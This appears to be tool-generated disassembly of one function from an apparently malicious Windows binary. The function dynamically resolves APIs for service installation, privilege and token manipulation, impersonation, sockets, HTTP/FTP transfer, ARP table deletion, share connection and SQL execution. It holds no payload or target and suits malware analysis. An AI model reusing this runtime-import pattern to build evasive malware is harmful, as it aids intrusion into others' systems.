Function at 0x40b3b3
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0
je 0x40b3fd
push str.GetComputerNameA
push dword [ebp - 0x2c]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x41cd1c], eax
cmp dword [0x41cd1c], 0
jne 0x40b3f3
mov dword [0x41cd80], 1
mov dword [0x41cd80], 1
push 0x4178d4
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x40b425
mov dword [0x41cd88], 1
mov dword [0x41cd88], 1
push str.advapi32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0
je 0x40b6aa
push str.RegEnumKeyExA
push dword [ebp - 0x38]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x41cc60], eax
mov dword [0x41cd90], 1
push str.OpenThreadToken
push dword [ebp - 0x38]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x41cc50], eax
push str.OpenProcessToken
push dword [ebp - 0x38]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x41ccd0], eax
push str.LookupPrivilegeValueA
push dword [ebp - 0x38]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x41cca4], eax
push str.AdjustTokenPrivileges
push dword [ebp - 0x38]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x41cd30], eax
cmp dword [0x41cc50], 0
je 0x40b4ca
cmp dword [0x41ccd0], 0
je 0x40b4ca
cmp dword [0x41cca4], 0
je 0x40b4ca
cmp dword [0x41cd30], 0
jne 0x40b4d4
mov dword [0x41cd90], 1
push str.OpenSCManagerA
push dword [ebp - 0x38]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x41ccd8], eax
push str.OpenServiceA
push dword [ebp - 0x38]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x41cc0c], eax
push str.StartServiceA
push dword [ebp - 0x38]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x41cc10], eax
push str.ControlService
push dword [ebp - 0x38]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x41cc4c], eax
push str.DeleteService
push dword [ebp - 0x38]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x41cc54], eax
push str.CloseServiceHandle
push dword [ebp - 0x38]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x41cc1c], eax
push str.EnumServicesStatusA
push dword [ebp - 0x38]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x41cca8], eax
push str.IsValidSecurityDescriptor
push dword [ebp - 0x38]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x41cc14], eax
push str.CreateServiceA
push dword [ebp - 0x38]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x41cd34], eax
push str.StartServiceCtrlDispatcherA
push dword [ebp - 0x38]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x41cd7c], eax
push str.ImpersonateLoggedOnUser
push dword [ebp - 0x38]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x41cd74], eax
push str.LockServiceDatabase
push dword [ebp - 0x38]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x41cc2c], eax
push str.QueryServiceLockStatusA
push dword [ebp - 0x38]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x41cc74], eax
push str.ChangeServiceConfig2A
push dword [ebp - 0x38]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x41cd78], eax
push str.UnlockServiceDatabase
push dword [ebp - 0x38]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x41ccf4], eax
push str.RegisterServiceCtrlHandlerA
push dword [ebp - 0x38]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x41ccf0], eax
push str.SetServiceStatus
push dword [ebp - 0x38]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x41cc64], eax
cmp dword [0x41ccd8], 0
je 0x40b69e
cmp dword [0x41cc0c], 0
je 0x40b69e
cmp dword [0x41cc10], 0
je 0x40b69e
cmp dword [0x41cc4c], 0
je 0x40b69e
cmp dword [0x41cc54], 0
je 0x40b69e
cmp dword [0x41cc1c], 0
je 0x40b69e
cmp dword [0x41cca8], 0
je 0x40b69e
cmp dword [0x41cc14], 0
je 0x40b69e
cmp dword [0x41cd74], 0
je 0x40b69e
cmp dword [0x41cc2c], 0
je 0x40b69e
cmp dword [0x41cc74], 0
je 0x40b69e
cmp dword [0x41cd78], 0
je 0x40b69e
cmp dword [0x41ccf4], 0
je 0x40b69e
cmp dword [0x41ccf0], 0
je 0x40b69e
cmp dword [0x41cc64], 0
jne 0x40b6a8
mov dword [0x41cd90], 1
jmp 0x40b6bf
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [0x41cd98], eax
mov dword [0x41cd90], 1
push str.ws2_32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x40b9ab
push str.WSAStartup
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x41cc6c], eax
push str.WSASocketA
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x41cd6c], eax
push str.WSAGetLastError
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x41cc80], eax
push str.WSACleanup
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x41cc5c], eax
push str.socket
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x41cd48], eax
push str.ioctlsocket
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x41cd64], eax
push str.connect
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x41cc98], eax
push str.inet_ntoa
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x41cd54], eax
push str.inet_addr
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x41cd14], eax
push str.htons
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x41cce8], eax
push str.htonl
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x41cce4], eax
push str.ntohs
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x41cc40], eax
push str.ntohl
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x41cc3c], eax
push str.send
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x41cd18], eax
push str.sendto
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x41cd28], eax
push str.recv
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x41ccf8], eax
push str.bind
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x41cd08], eax
push str.select
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x41ccd4], eax
push str.listen
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x41cd04], eax
push str.accept
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x41cd58], eax
push str.__WSAFDIsSet
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x41cc18], eax
push str.setsockopt
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x41ccc8], eax
push str.getsockname
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x41cc94], eax
push str.gethostname
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x41ccec], eax
push str.gethostbyname
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x41cd4c], eax
push str.gethostbyaddr
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x41cca0], eax
push str.getpeername
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x41cc58], eax
push str.closesocket
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x41cd60], eax
push str.shutdown
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x41cd5c], eax
cmp dword [0x41cc6c], 0
je 0x40b99f
cmp dword [0x41cd6c], 0
je 0x40b99f
cmp dword [0x41cc80], 0
je 0x40b99f
cmp dword [0x41cc5c], 0
je 0x40b99f
cmp dword [0x41cd48], 0
je 0x40b99f
cmp dword [0x41cc98], 0
je 0x40b99f
cmp dword [0x41cd54], 0
je 0x40b99f
cmp dword [0x41cd14], 0
je 0x40b99f
cmp dword [0x41cce8], 0
je 0x40b99f
cmp dword [0x41cce4], 0
je 0x40b99f
cmp dword [0x41cd18], 0
je 0x40b99f
cmp dword [0x41cd28], 0
je 0x40b99f
cmp dword [0x41ccf8], 0
je 0x40b99f
cmp dword [0x41ccc8], 0
je 0x40b99f
cmp dword [0x41cc94], 0
je 0x40b99f
cmp dword [0x41ccec], 0
je 0x40b99f
cmp dword [0x41cd60], 0
jne 0x40b9a9
mov dword [0x41cda4], 1
jmp 0x40b9c0
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [0x41cda8], eax
mov dword [0x41cda4], 1
push str.wininet.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
je 0x40bb53
push str.InternetGetConnectedState
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x41cc48], eax
push str.InternetGetConnectedStateEx
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x41cc08], eax
push str.HttpOpenRequestA
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x41ccb8], eax
push str.HttpSendRequestA
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x41cc70], eax
push str.FtpGetFileA
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x41cc34], eax
push str.FtpPutFileA
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x41cd38], eax
push str.InternetConnectA
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x41ccc0], eax
push str.InternetOpenA
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x41cc84], eax
push str.InternetOpenUrlA
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x41cc24], eax
push str.InternetCrackUrlA
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x41cc20], eax
push str.InternetReadFile
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x41cc28], eax
push str.InternetCloseHandle
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x41cd0c], eax
cmp dword [0x41cc48], 0
je 0x40bb16
cmp dword [0x41cc08], 0
je 0x40bb16
cmp dword [0x41ccb8], 0
je 0x40bb16
cmp dword [0x41cc70], 0
je 0x40bb16
cmp dword [0x41ccc0], 0
je 0x40bb16
cmp dword [0x41cc84], 0
je 0x40bb16
cmp dword [0x41cc24], 0
je 0x40bb16
cmp dword [0x41cc20], 0
je 0x40bb16
cmp dword [0x41cc28], 0
je 0x40bb16
cmp dword [0x41cd0c], 0
jne 0x40bb20
mov dword [0x41cdac], 1
cmp dword [0x41cc84], 0
je 0x40bb51
push 0
push 0
push 0
push 0
push str.Mozilla_4.0__compatible_
call dword [0x41cc84]
mov dword [0x41cc9c], eax
cmp dword [0x41cc9c], 0
jne 0x40bb51
and dword [0x41cc9c], 0
jmp 0x40bb6f
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [0x41cdb0], eax
mov dword [0x41cdac], 1
and dword [0x41cc9c], 0
push str.netapi32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x40bb8d
mov dword [0x41cdbc], 1
push str.dnsapi.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0
je 0x40bbe5
push str.DnsFlushResolverCache
push dword [ebp - 0x34]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x41cc30], eax
push str.DnsFlushResolverCacheEntry_A
push dword [ebp - 0x34]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x41ccdc], eax
cmp dword [0x41cc30], 0
je 0x40bbd9
cmp dword [0x41ccdc], 0
jne 0x40bbe3
mov dword [0x41cdc4], 1
jmp 0x40bbfa
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [0x41cdc8], eax
mov dword [0x41cdc4], 1
push str.iphlpapi.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x40bcd0
push str.GetIpNetTable
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x41cd44], eax
push str.DeleteIpNetEntry
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x41cd40], eax
push str.GetIfTable
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x41ccbc], eax
push str.GetTcpTable
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x41cccc], eax
push str.GetUdpTable
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x41cd24], eax
cmp dword [0x41cd44], 0
je 0x40bc9e
cmp dword [0x41cd40], 0
je 0x40bc9e
cmp dword [0x41ccbc], 0
je 0x40bc9e
cmp dword [0x41cd24], 0
je 0x40bc9e
cmp dword [0x41cccc], 0
jne 0x40bca8
mov dword [0x41cdcc], 1
push str.GetNetworkParams
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x41cc90], eax
cmp dword [0x41cc90], 0
jne 0x40bcce
mov dword [0x41cdcc], 1
jmp 0x40bce5
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [0x41cdd4], eax
mov dword [0x41cdcc], 1
push str.mpr.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
je 0x40bd75
push str.WNetAddConnection2A
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x41cd70], eax
push str.WNetAddConnection2W
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x41cd68], eax
push str.WNetCancelConnection2A
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x41cd2c], eax
push str.WNetCancelConnection2W
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x41cc44], eax
cmp dword [0x41cd70], 0
je 0x40bd69
cmp dword [0x41cd68], 0
je 0x40bd69
cmp dword [0x41cd2c], 0
je 0x40bd69
cmp dword [0x41cc44], 0
jne 0x40bd73
mov dword [0x41cdd8], 1
jmp 0x40bd8a
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [0x41cddc], eax
mov dword [0x41cdd8], 1
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
je 0x40bde2
push str.ShellExecuteA
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x41cc68], eax
push str.SHChangeNotify
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x41cd3c], eax
cmp dword [0x41cc68], 0
je 0x40bdd6
cmp dword [0x41cd3c], 0
jne 0x40bde0
mov dword [0x41cde0], 1
jmp 0x40bdf7
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [0x41cde4], eax
mov dword [0x41cde0], 1
push str.odbc32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0
je 0x40bec3
push str.SQLDriverConnect
push dword [ebp - 0x30]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x41cd10], eax
push str.SQLSetEnvAttr
push dword [ebp - 0x30]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x41cd50], eax
push str.SQLExecDirect
push dword [ebp - 0x30]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x41ccb0], eax
push str.SQLAllocHandle
push dword [ebp - 0x30]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x41cc78], eax
push str.SQLFreeHandle
push dword [ebp - 0x30]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x41cd00], eax
push str.SQLDisconnect
push dword [ebp - 0x30]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x41cc7c], eax
cmp dword [0x41cd10], 0
je 0x40beb7
cmp dword [0x41cd50], 0
je 0x40beb7
cmp dword [0x41ccb0], 0
je 0x40beb7
cmp dword [0x41cc78], 0
je 0x40beb7
cmp dword [0x41cd00], 0
je 0x40beb7
cmp dword [0x41cc7c], 0
jne 0x40bec1
mov dword [0x41cde8], 1
jmp 0x40bed8
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [0x41cdec], eax
mov dword [0x41cde8], 1
push str.userenv.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x40bf14
push str.GetUserProfileDirectoryA
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x41ccfc], eax
cmp dword [0x41ccfc], 0
jne 0x40bf12
mov dword [0x41ce10], 1
jmp 0x40bf29
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [0x41ce14], eax
mov dword [0x41ce10], 1
push str.psapi.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0
je 0x40bfd0
push str.GetModuleFileNameExA
push dword [ebp - 0x3c]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x41ccac], eax
push str.GetModuleBaseNameA
push dword [ebp - 0x3c]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x41cc38], eax
push str.EnumProcessModules
push dword [ebp - 0x3c]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x41ccb4], eax
push str.EnumProcesses
push dword [ebp - 0x3c]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x41cce0], eax
push str.GetProcessMemoryInfo
push dword [ebp - 0x3c]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x41cd20], eax
cmp dword [0x41cc38], 0
je 0x40bfc4
cmp dword [0x41ccb4], 0
je 0x40bfc4
cmp dword [0x41cce0], 0
je 0x40bfc4
cmp dword [0x41cd20], 0
jne 0x40bfce
mov dword [0x41cdf8], 1
jmp 0x40bfe5
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [0x41cdfc], eax
mov dword [0x41cdf8], 1
push 0x417f68
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
je 0x40c021
push 0x417f74
push dword [ebp - 0x28]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x41ccc4], eax
cmp dword [0x41ccc4], 0
jne 0x40c01f
mov dword [0x41ce00], 1
jmp 0x40c036
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [0x41ce04], eax
mov dword [0x41ce00], 1
push 0x417f8c
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x40c072
push str.PathRemoveFileSpecA
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x41cc88], eax
cmp dword [0x41cc88], 0
jne 0x40c070
mov dword [0x41ce08], 1
jmp 0x40c087
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [0x41ce0c], eax
mov dword [0x41ce08], 1
push 1
pop eax
leave
ret